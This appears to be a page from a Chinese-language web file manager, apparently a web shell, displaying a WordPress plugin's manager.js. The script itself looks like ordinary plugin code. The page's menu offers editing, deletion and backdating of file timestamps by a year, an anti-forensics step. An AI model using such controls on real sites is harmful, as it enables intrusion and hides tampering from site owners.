文件操作 - manager.js
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/i2kairpad/public_html/wp-content/plugins/tracking-code-manager/assets/js/manager.js
编辑文件内容
jQuery(function() { var $sortable=jQuery("#tblSortable .table-body"); $sortable.sortable({ tolerance:'intersect' , cursor:'move' , items:'tr' , placeholder:'ui-state-highlight' , nested: 'tbody' , update: function(event, ui) { var orders=$sortable.sortable('serialize'); var data={action: 'TCMP_changeOrder', nonce: ajax_vars.nonce, order: orders}; jQuery.post(ajaxurl, data, function(result) { console.log(result); }); } }); $sortable.disableSelection(); }); !function(d,s,id){ var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https'; if(!d.getElementById(id)){ js=d.createElement(s); js.id=id; js.src=p+'://platform.twitter.com/widgets.js'; fjs.parentNode.insertBefore(js,fjs); } }(document, 'script', 'twitter-wjs'); jQuery(function() { var href = jQuery("#tcmpRedirect").attr("href") || []; if (href.length > 0) { window.location.replace(href); } });
修改文件时间
将文件时间修改为当前时间的前一年
删除文件